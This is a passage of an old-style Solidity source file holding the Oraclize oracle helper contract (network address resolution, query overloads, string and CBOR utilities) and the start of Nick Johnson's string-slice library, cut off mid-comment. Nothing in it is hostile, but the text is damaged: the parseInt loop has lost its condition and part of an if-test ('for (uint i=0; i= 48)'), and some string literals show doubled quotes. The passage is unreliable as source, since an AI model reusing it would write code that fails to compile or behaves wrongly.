uint gaslimit) returns (uint _dsprice); function useCoupon(string _coupon); function setProofType(byte _proofType); function setConfig(bytes32 _config); function setCustomGasPrice(uint _gasPrice); } contract OraclizeAddrResolverI { function getAddress() returns (address _addr); } contract usingOraclize { uint constant day = 60*60*24; uint constant week = 60*60*24*7; uint constant month = 60*60*24*30; byte constant proofType_NONE = 0x00; byte constant proofType_TLSNotary = 0x10; byte constant proofStorage_IPFS = 0x01; uint8 constant networkID_auto = 0; uint8 constant networkID_mainnet = 1; uint8 constant networkID_testnet = 2; uint8 constant networkID_morden = 2; uint8 constant networkID_consensys = 161; OraclizeAddrResolverI OAR; OraclizeI oraclize; modifier oraclizeAPI { if((address(OAR)==0)||(getCodeSize(address(OAR))==0)) oraclize_setNetwork(networkID_auto); oraclize = OraclizeI(OAR.getAddress()); _; } modifier coupon(string code){ oraclize = OraclizeI(OAR.getAddress()); oraclize.useCoupon(code); _; } function oraclize_setNetwork(uint8 networkID) internal returns(bool){ if (getCodeSize(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed)>0){ //mainnet OAR = OraclizeAddrResolverI(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed); return true; } if (getCodeSize(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1)>0){ //ropsten testnet OAR = OraclizeAddrResolverI(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1); return true; } if (getCodeSize(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e)>0){ //kovan testnet OAR = OraclizeAddrResolverI(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e); return true; } if (getCodeSize(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475)>0){ //ethereum-bridge OAR = OraclizeAddrResolverI(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475); return true; } if (getCodeSize(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF)>0){ //ether.camp ide OAR = OraclizeAddrResolverI(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF); return true; } if (getCodeSize(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA)>0){ //browser-solidity OAR = OraclizeAddrResolverI(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA); return true; } return false; } function __callback(bytes32 myid, string result) { __callback(myid, result, new bytes(0)); } function __callback(bytes32 myid, string result, bytes proof) { } function oraclize_getPrice(string datasource) oraclizeAPI internal returns (uint){ return oraclize.getPrice(datasource); } function oraclize_getPrice(string datasource, uint gaslimit) oraclizeAPI internal returns (uint){ return oraclize.getPrice(datasource, gaslimit); } function oraclize_query(string datasource, string arg) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price return oraclize.query.value(price)(0, datasource, arg); } function oraclize_query(uint timestamp, string datasource, string arg) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price return oraclize.query.value(price)(timestamp, datasource, arg); } function oraclize_query(uint timestamp, string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price return oraclize.query_withGasLimit.value(price)(timestamp, datasource, arg, gaslimit); } function oraclize_query(string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price return oraclize.query_withGasLimit.value(price)(0, datasource, arg, gaslimit); } function oraclize_query(string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price return oraclize.query2.value(price)(0, datasource, arg1, arg2); } function oraclize_query(uint timestamp, string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price return oraclize.query2.value(price)(timestamp, datasource, arg1, arg2); } function oraclize_query(uint timestamp, string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price return oraclize.query2_withGasLimit.value(price)(timestamp, datasource, arg1, arg2, gaslimit); } function oraclize_query(string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price return oraclize.query2_withGasLimit.value(price)(0, datasource, arg1, arg2, gaslimit); } function oraclize_query(string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price bytes memory args = stra2cbor(argN); return oraclize.queryN.value(price)(0, datasource, args); } function oraclize_query(uint timestamp, string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price bytes memory args = stra2cbor(argN); return oraclize.queryN.value(price)(timestamp, datasource, args); } function oraclize_query(uint timestamp, string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price bytes memory args = stra2cbor(argN); return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit); } function oraclize_query(string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price bytes memory args = stra2cbor(argN); return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit); } function oraclize_query(string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](1); dynargs[0] = args[0]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](1); dynargs[0] = args[0]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](1); dynargs[0] = args[0]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](1); dynargs[0] = args[0]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_cbAddress() oraclizeAPI internal returns (address){ return oraclize.cbAddress(); } function oraclize_setProof(byte proofP) oraclizeAPI internal { return oraclize.setProofType(proofP); } function oraclize_setCustomGasPrice(uint gasPrice) oraclizeAPI internal { return oraclize.setCustomGasPrice(gasPrice); } function oraclize_setConfig(bytes32 config) oraclizeAPI internal { return oraclize.setConfig(config); } function getCodeSize(address _addr) constant internal returns(uint _size) { assembly { _size := extcodesize(_addr) } } function parseAddr(string _a) internal returns (address){ bytes memory tmp = bytes(_a); uint160 iaddr = 0; uint160 b1; uint160 b2; for (uint i=2; i<2+2*20; i+=2){ iaddr *= 256; b1 = uint160(tmp[i]); b2 = uint160(tmp[i+1]); if ((b1 >= 97)&&(b1 <= 102)) b1 -= 87; else if ((b1 >= 65)&&(b1 <= 70)) b1 -= 55; else if ((b1 >= 48)&&(b1 <= 57)) b1 -= 48; if ((b2 >= 97)&&(b2 <= 102)) b2 -= 87; else if ((b2 >= 65)&&(b2 <= 70)) b2 -= 55; else if ((b2 >= 48)&&(b2 <= 57)) b2 -= 48; iaddr += (b1*16+b2); } return address(iaddr); } function strCompare(string _a, string _b) internal returns (int) { bytes memory a = bytes(_a); bytes memory b = bytes(_b); uint minLength = a.length; if (b.length < minLength) minLength = b.length; for (uint i = 0; i < minLength; i ++) if (a[i] < b[i]) return -1; else if (a[i] > b[i]) return 1; if (a.length < b.length) return -1; else if (a.length > b.length) return 1; else return 0; } function indexOf(string _haystack, string _needle) internal returns (int) { bytes memory h = bytes(_haystack); bytes memory n = bytes(_needle); if(h.length < 1 || n.length < 1 || (n.length > h.length)) return -1; else if(h.length > (2**128 -1)) return -1; else { uint subindex = 0; for (uint i = 0; i < h.length; i ++) { if (h[i] == n[0]) { subindex = 1; while(subindex < n.length && (i + subindex) < h.length && h[i + subindex] == n[subindex]) { subindex++; } if(subindex == n.length) return int(i); } } return -1; } } function strConcat(string _a, string _b, string _c, string _d, string _e) internal returns (string) { bytes memory _ba = bytes(_a); bytes memory _bb = bytes(_b); bytes memory _bc = bytes(_c); bytes memory _bd = bytes(_d); bytes memory _be = bytes(_e); string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length); bytes memory babcde = bytes(abcde); uint k = 0; for (uint i = 0; i < _ba.length; i++) babcde[k++] = _ba[i]; for (i = 0; i < _bb.length; i++) babcde[k++] = _bb[i]; for (i = 0; i < _bc.length; i++) babcde[k++] = _bc[i]; for (i = 0; i < _bd.length; i++) babcde[k++] = _bd[i]; for (i = 0; i < _be.length; i++) babcde[k++] = _be[i]; return string(babcde); } function strConcat(string _a, string _b, string _c, string _d) internal returns (string) { return strConcat(_a, _b, _c, _d, """"); } function strConcat(string _a, string _b, string _c) internal returns (string) { return strConcat(_a, _b, _c, """", """"); } function strConcat(string _a, string _b) internal returns (string) { return strConcat(_a, _b, """", """", """"); } // parseInt function parseInt(string _a) internal returns (uint) { return parseInt(_a, 0); } // parseInt(parseFloat*10^_b) function parseInt(string _a, uint _b) internal returns (uint) { bytes memory bresult = bytes(_a); uint mint = 0; bool decimals = false; for (uint i=0; i= 48)&&(bresult[i] <= 57)){ if (decimals){ if (_b == 0) break; else _b--; } mint *= 10; mint += uint(bresult[i]) - 48; } else if (bresult[i] == 46) decimals = true; } if (_b > 0) mint *= 10**_b; return mint; } function uint2str(uint i) internal returns (string){ if (i == 0) return ""0""; uint j = i; uint len; while (j != 0){ len++; j /= 10; } bytes memory bstr = new bytes(len); uint k = len - 1; while (i != 0){ bstr[k--] = byte(48 + i % 10); i /= 10; } return string(bstr); } function stra2cbor(string[] arr) internal returns (bytes) { uint arrlen = arr.length; // get correct cbor output length uint outputlen = 0; bytes[] memory elemArray = new bytes[](arrlen); for (uint i = 0; i < arrlen; i++) { elemArray[i] = (bytes(arr[i])); outputlen += elemArray[i].length + (elemArray[i].length - 1)/23 + 3; //+3 accounts for paired identifier types } uint ctr = 0; uint cborlen = arrlen + 0x80; outputlen += byte(cborlen).length; bytes memory res = new bytes(outputlen); while (byte(cborlen).length > ctr) { res[ctr] = byte(cborlen)[ctr]; ctr++; } for (i = 0; i < arrlen; i++) { res[ctr] = 0x5F; ctr++; for (uint x = 0; x < elemArray[i].length; x++) { // if there's a bug with larger strings, this may be the culprit if (x % 23 == 0) { uint elemcborlen = elemArray[i].length - x >= 24 ? 23 : elemArray[i].length - x; elemcborlen += 0x40; uint lctr = ctr; while (byte(elemcborlen).length > ctr - lctr) { res[ctr] = byte(elemcborlen)[ctr - lctr]; ctr++; } } res[ctr] = elemArray[i][x]; ctr++; } res[ctr] = 0xFF; ctr++; } return res; } } // /* * @title String & slice utility library for Solidity contracts. * @author Nick Johnson <[email protected]> * * @dev Functionality in this library is largely implemented using an * abstraction called a 'slice'. A slice represents a part of a string - * anything from the entire string to a single character, or even no * characters at all (a 0-length slice). Since a slice only has to specify * an offset and a length, copying and manipulating slices is a lot less * expensive than copying and manipulating the strings they reference. * * To further reduce gas costs, most functions on slice that need to return * a slice modify the original one instead of allocating a new one; for * instance, `s.split(""."")` will return the text up to the first '.', * modifying s to only contain the remainder of the string after the '.'. * In situations where you do not want to modify the original slice, you * can make a copy first with `.copy()`, for example: * `s.copy().split(""."")`. Try and avoid using this idiom in loops; since * Solidity has no memory management, it will result in allocating many * short-lived slices that are later discarded. * * Functions that return two slices come in two versions: a non-allocating * version that takes the second slice as an argument, modifying it in * place, and an allocating version that allocates and returns the second * slice; see `nextRune` for example. * * Functions that have to copy string data will return strings rather than * slices; these can be cast back to slices for further processing if * required. * * For convenience, some functions are provided with non-modifying * variants that create a new slice and return both; for instance, * `s.splitNew('.')` leaves s unmodified, and returns two values * corresponding to the left and right parts of the string. */ library strings { struct slice { uint _len; uint _ptr; } function memcpy(uint dest, uint src, uint len) private { // Copy word-length chunks while possible for(; len >= 32; len -= 32) { assembly { mstore(dest, mload(src)) } dest += 32; src += 32; } // Copy remaining bytes uint mask = 256 ** (32 - len) - 1; assembly { let srcpart := and(mload(src), not(mask)) let destpart := and(mload(dest), mask) mstore(dest, or(destpart, srcpart)) } } /* * @dev Returns a slice containing the entire string. * @param self The string to make a slice from. * @return A newly allocated slice containing the entire string. */ function toSlice(string self) internal returns (slice) { uint ptr; assembly { ptr := add(self, 0x20) } return slice(bytes(self).length, ptr); } /* * @dev Returns the length of a null-terminated bytes32 string. * @param self The value to find the length of. * @return The length of the string, from 0 to 32. */ function len(bytes32 self) internal returns (uint) { uint ret; if (self == 0) return 0; if (self & 0xffffffffffffffffffffffffffffffff == 0) { ret += 16; self = bytes32(uint(self) / 0x100000000000000000000000000000000); } if (self & 0xffffffffffffffff == 0) { ret += 8; self = bytes32(uint(self) / 0x10000000000000000); } if (self & 0xffffffff == 0) { ret += 4; self = bytes32(uint(self) / 0x100000000); } if (self & 0xffff == 0) { ret += 2; self = bytes32(uint(self) / 0x10000); } if (self & 0xff == 0) { ret += 1; } return 32 - ret; } /* * @dev Returns a slice containing the entire bytes32, interpreted as a * null-termintaed utf-8 string. * @param self The bytes32 value to convert to a slice. * @return A new slice containing the value of the input argument up to the * first null. */ function toSliceB32(bytes32 self) internal returns (slice ret) { // Allocate space for `self` in memory, copy it there, and point ret at it assembly { let ptr := mload(0x40) mstore(0x40, add(ptr, 0x20)) mstore(ptr, self) mstore(add(ret, 0x20), ptr) } ret._len = len(self); } /* * @dev Returns a new slice containing the same data as the current slice. * @param self The slice to copy. * @return A new slice containing the same data as `self`. */ function copy(slice self) internal returns (slice) { return slice(self._len, self._ptr); } /* * @dev Copies a slice to a new string. * @param self The slice to copy. * @return A newly allocated string containing the slice's text. */ function toString(slice self) internal returns (string) { var ret = new string(self._len); uint retptr; assembly { retptr := add(ret, 32) } memcpy(retptr, self._ptr, self._len); return ret; } /* * @dev Returns the length in runes of the slice. Note that this operation * takes time proportional to the length of the slice; avoid using it * in loops, and call `slice.empty()` if you only need to know whether * the slice is empty or not. * @param self The slice to operate on. * @return The length of the slice in runes. */ function len(slice self) internal returns (uint) { // Starting at ptr-31 means the LSB will be the byte we care about var ptr = self._ptr - 31; var end = ptr + self._len; for (uint len = 0; ptr < end; len++) { uint8 b; assembly { b := and(mload(ptr), 0xFF) } if (b < 0x80) { ptr += 1; } else if(b < 0xE0) { ptr += 2; } else if(b < 0xF0) { ptr += 3; } else if(b < 0xF8) { ptr += 4; } else if(b < 0xFC) { ptr += 5; } else { ptr += 6; } } return len; } /* * @dev Returns true if the slice is empty (has a length of 0). * @param self The slice to operate on. * @return True if the slice is empty, False otherwise. */ function empty(slice self) internal returns (bool) { return self._len == 0; } /* * @dev Returns a positive number if `other` comes lexicographically after * `self`, a negative number if it comes before, or zero if the * contents of the two slices are equal. Comparison is done per-rune, * on unicode codepoints. * @param self The first slice to compare. * @param other The second slice to compare. * @return The result of the comparison. */ function compare(slice self, slice other) internal returns (int) { uint shortest = self._len; if (other._len < self._len) shortest = other._len; var selfptr = self._ptr; var otherptr = other._ptr; for (uint idx = 0; idx < shortest; idx += 32) { uint a; uint b; assembly { a := mload(selfptr) b := mload(otherptr) } if (a != b) { // Mask out irrelevant bytes and check again uint mask = ~(2 ** (8 * (32 - shortest + idx)) - 1); var diff = (a & mask) - (b & mask); if (diff != 0) return int(diff); } selfptr += 32; otherptr += 32; } return int(self._len) - int(other._len); } /* * @dev Returns true if the two slices contain the same text. * @param self The first slice to compare. * @param self The second slice to compare. * @return True if the slices are equal, false otherwise. */ function equals(slice self, slice other) internal returns (bool) { return compare(self, other) == 0; } /* * @dev Extracts the first rune in the slice into `rune`, advancing the * slice to point to the next rune and returning `self`. * @param self The slice to operate on. * @param rune The slice that will contain the first rune. * @return `rune`. */ function nextRune(slice self, slice rune) internal returns (slice) { rune._ptr = self._ptr; if (self._len == 0) { rune._len = 0; return rune; } uint len; uint b; // Load the first byte of the rune into the LSBs of b assembly { b := and(mload(sub(mload(add(self, 32)), 31)), 0xFF) } if (b < 0x80) { len = 1; } else if(b < 0xE0) { len = 2; } else if(b < 0xF0) { len = 3; } else { len = 4; } // Check for truncated codepoints if (len > self._len) { rune._len = self._len; self._ptr += self._len; self._len = 0; return rune; } self._ptr += len; self._len -= len; rune._len = len; return rune; } /* * @dev Returns the first rune in the slice, advancing the slice to point * to the next rune. * @param self The slice to operate on. * @return A slice containing only the first rune from `self`. */ function nextRune(slice self) internal returns (slice ret) { nextRune(self, ret); } /* * @dev Returns the number of the first codepoint in the slice. * @param self The slice to operate on. * @return The number of the first codepoint in the slice. */ function ord(slice self) internal returns (uint ret) { if (self._len == 0) { return 0; } uint word; uint len; uint div = 2 ** 248; // Load the rune into the MSBs of b assembly { word:= mload(mload(add(self, 32))) } var b = word / div; if (b < 0x80) { ret = b; len = 1; } else if(b < 0xE0) { ret = b & 0x1F; len = 2; } else if(b < 0xF0) { ret = b & 0x0F; len = 3; } else { ret = b & 0x07; len = 4; } // Check for truncated codepoints if (len > self._len) { return 0; } for (uint i = 1; i < len; i++) { div = div / 256; b = (word / div) & 0xFF; if (b & 0xC0 != 0x80) { // Invalid UTF-8 sequence return 0; } ret = (ret * 64) | (b & 0x3F); } return ret; } /* * @dev Returns the keccak-256 hash of the slice. * @param self The slice to hash. * @return The hash of the slice. */ function keccak(slice self) internal returns (bytes32 ret) { assembly { ret := sha3(mload(add(self, 32)), mload(self)) } } /* * @dev Returns true if `self` starts with `needle`. * @param self The slice to operate on. * @param needle The slice to search for. * @return True if the slice starts with the provided text, false otherwise. */ function startsWith(slice self, slice needle) internal returns (bool) { if (self._len < needle._len) { return false; } if (self._ptr == needle._ptr) { return true; } bool equal; assembly { let len := mload(needle) let selfptr := mload(add(self, 0x20)) let needleptr := mload(add(needle, 0x20)) equal := eq(sha3(selfptr, len), sha3(needleptr, len)) } return equal; } /* * @dev If `self` starts with `needle`, `needle` is removed from the * beginning of `self`. Otherwise, `self` is unmodified. * @param self The slice to operate on. * @param needle The slice to search for. * @return `self` */ function beyond(slice self, slice needle) internal returns (slice) { if (self._len < needle._len) { return self; } bool equal = true; if (self._ptr != needle._ptr) { assembly { let len := mload(needle) let selfptr := mload(add(self, 0x20)) let needleptr := mload(add(needle, 0x20)) equal := eq(sha3(selfptr, len), sha3(needleptr, len)) } } if (equal) { self._len -= needle._len; self._ptr += needle._len; } return self; } /* * @dev Returns true if the slice ends with `needle`. * @param self The slice to operate on. * @param needle The slice to search for. * @return True if the slice starts with the provided text, false otherwise. */ function endsWith(slice self, slice needle) internal returns (bool) { if (self._len < needle._len) { return false; } var selfptr = self._ptr + self._len - needle._len; if (selfptr == needle._ptr) { return true; } bool equal; assembly { let len := mload(needle) let needleptr := mload(add(needle, 0x20)) equal := eq(sha3(selfptr, len), sha3(needleptr, len)) } return equal; } /* * @dev If `self` ends with `needle`, `needle` is removed from the * end of `self`. Otherwise, `self` is unmodified. * @param self The slice to operate on. * @param needle The slice to search for. * @return `self` */ function until(slice self, slice needle) internal returns (slice) { if (self._len < needle._len) { return self; } var selfptr = self._ptr + self._len - needle._len; bool equal = true; if (selfptr != needle._ptr) { assembly { let len := mload(needle) let needleptr := mload(add(needle, 0x20)) equal := eq(sha3(selfptr, len), sha3(needleptr, len)) } } if (equal) { self._len -= needle._len; } return self; } // Returns the memory address of the first byte of the first occurrence of // `needle` in `self`, or the first byte after `self` if not found. function findPtr(uint selflen, uint selfptr, uint needlelen, uint needleptr) private returns (uint) { uint ptr; uint idx; if (needlelen <= selflen) { if (needlelen <= 32) { // Optimized assembly for 68 gas per byte on short strings assembly { let mask := not(sub(exp(2, mul(8, sub(32, needlelen))), 1)) let needledata := and(mload(needleptr), mask) let end := add(selfptr, sub(selflen, needlelen)) ptr := selfptr loop: jumpi(exit, eq(and(mload(ptr), mask), needledata)) ptr := add(ptr, 1) jumpi(loop, lt(sub(ptr, 1), end)) ptr := add(selfptr, selflen) exit: } return ptr; } else { // For long needles, use hashing bytes32 hash; assembly { hash := sha3(needleptr, needlelen) } ptr = selfptr; for (idx = 0; idx <= selflen - needlelen; idx++) { bytes32 testHash; assembly { testHash := sha3(ptr, needlelen) } if (hash == testHash) return ptr; ptr += 1; } } } return selfptr + selflen; } // Returns the memory address of the first byte after the last occurrence of // `needle` in `self`, or the address of `self` if not found. function rfindPtr(uint selflen, uint selfptr, uint needlelen, uint needleptr) private returns (uint) { uint ptr; if (needlelen <= selflen) { if (needlelen <= 32) { // Optimized assembly for 69 gas per byte on short strings assembly { let mask := not(sub(exp(2, mul(8, sub(32, needlelen))), 1)) let needledata := and(mload(needleptr), mask) ptr := add(selfptr, sub(selflen, needlelen)) loop: jumpi(ret, eq(and(mload(ptr), mask), needledata)) ptr := sub(ptr, 1) jumpi(loop, gt(add(ptr, 1), selfptr)) ptr := selfptr jump(exit) ret: ptr := add(ptr, needlelen) exit: } return ptr; } else { // For long needles, use hashing bytes32 hash; assembly { hash := sha3(needleptr, needlelen) } ptr = selfptr + (selflen - needlelen); while (ptr >= selfptr) { bytes32 testHash; assembly { testHash := sha3(ptr, needlelen) } if (hash == testHash) return ptr + needlelen; ptr -= 1; } } } return selfptr; } /* * @dev Modifies `self` to contain everything from the first occurrence of * `needle` to the end of the slice. `self` is set to the empty slice * if `needle` is not found. * @param self The slice to search and modify. * @param needle The text to search for. * @return `self`. */ function find(slice self, slice needle) internal returns (slice) { uint ptr = findPtr(self._len, self._ptr, needle._len, needle._ptr); self._len -= ptr - self._ptr; self._ptr = ptr; return self; } /* * @dev Modifies `self` to contain the part of the string from the start of * `self` to the end of the first occurrence of `needle`. If `needle` * is not found, `self` is set to the empty slice. * @param self The slice to search and modify. * @param needle The text to search for. * @return `self`. */ function rfind(slice self, slice needle) internal returns (slice) { uint ptr = rfindPtr(self._len, self._ptr, needle._len, needle._ptr); self._len = ptr - self._ptr; return self; } /* * @dev Splits the slice, setting `self` to everything after the first * occurrence of `needle`, and `token` to everything before it. If * `needle` does not occur in `self`, `self` is set to the empty slice, * and `token` is set to the entirety of `self`. * @param self The slice to split. * @param needle The text to search for in `self`. * @param token An output parameter to which the first token is written. * @return `token`. */ function split(slice self, slice needle, slice token) internal returns (slice) { uint ptr = findPtr(self._len, self._ptr, needle._len, needle._ptr); token._ptr = self._ptr; token._len = ptr - self._ptr; if (ptr == self._ptr + self._len) { // Not found self._len = 0; } else { self._len -= token._len + needle._len; self._ptr = ptr + needle._len; } return token; } /* * @dev Splits the slice, setting `self` to everything after the first * occurrence of `needle`, and returning everything before it. If * `needle` does not occur in `self`, `self` is set to the empty slice, * and the entirety of `self` is returned. * @param self The slice to split. * @param needle The text to search for in `self`. * @return The part of `self` up to the first occurrence of `delim`. */ function split(slice self, slice needle) internal returns (slice token) { split(self, needle, token); } /* * @dev Splits the slice, setting `self` to everything before the last * occurrence of `needle`, and `token` to everything after it. If * `needle` does not occur in `self`, `self` is set to the empty slice, * and `token` is set to the entirety of `self`. * @param self The slice to split. * @param needle The text to search for in `self`. * @param token An output parameter to which the first token is written. * @return `token`. */ function rsplit(slice self, slice needle, slice token) internal returns (slice) { uint ptr = rfindPtr(self._len, self._ptr, needle._len, needle._ptr); token._ptr = ptr; token._len = self._len - (ptr - self._ptr); if (ptr == self._ptr) { // Not found self._len = 0; } else { self._len -= token._len + needle._len; } return token; } /* * @dev Splits the slice, setting `self` to everything before the last * occurrence of `needle`, and returning everything after it. If * `needle` does not occur in `self`, `self` is set to the empty slice, * and the entirety of `self` is returned. * @param self The slice to split. * @param needle The text to search for in `self`. * @return The part of `self` after the last occurrence of `delim`. */ function rsplit(slice self, slice needle) internal returns (slice token) { rsplit(self, needle, token); } /* * @dev Counts the number of nonoverlapping occurrences of `needle` in `self`. * @param self The slice to search. * @param needle The text to search for in `self`. * @return The number of occurrences of `needle` found in `self`. */ function count(slice self, slice needle) internal returns (uint count) { uint ptr = findPtr(self._len, self._ptr, needle._len, needle._ptr) + needle._len; while (ptr <= self._ptr + self._len) { count++; ptr = findPtr(self._len - (ptr - self._ptr), ptr, needle._len, needle._ptr) + needle._len; } } /* * @dev Returns True if `self` contains `needle`. * @param self The slice to search. * @param needle The text to search for in `self`. * @return True if `needle` is found in `self`, false otherwise. */ function contains(slice self, slice needle) internal returns (bool) { return rfindPtr(self._len, self._ptr, needle._len, needle._ptr) != self._ptr; } /* * @dev Returns a newly allocated string containing the concatenation of * `self` and `other`. * @param self The first slice to concatenate. * @param other The second slice to concatenate. * @return The concatenation of the two strings. */ function concat(slice self, slice other) internal returns (string) { var ret = new string(self._len + other._len); uint retptr; assembly { retptr := add(ret, 32) } memcpy(retptr, self._ptr, self._len); memcpy(retptr + self._len, other._ptr, other._len); return ret; } /* * @dev Joins an array of slices, using `self` as a delimiter, returning a * newly allocated string. * @param self The delimiter to use. * 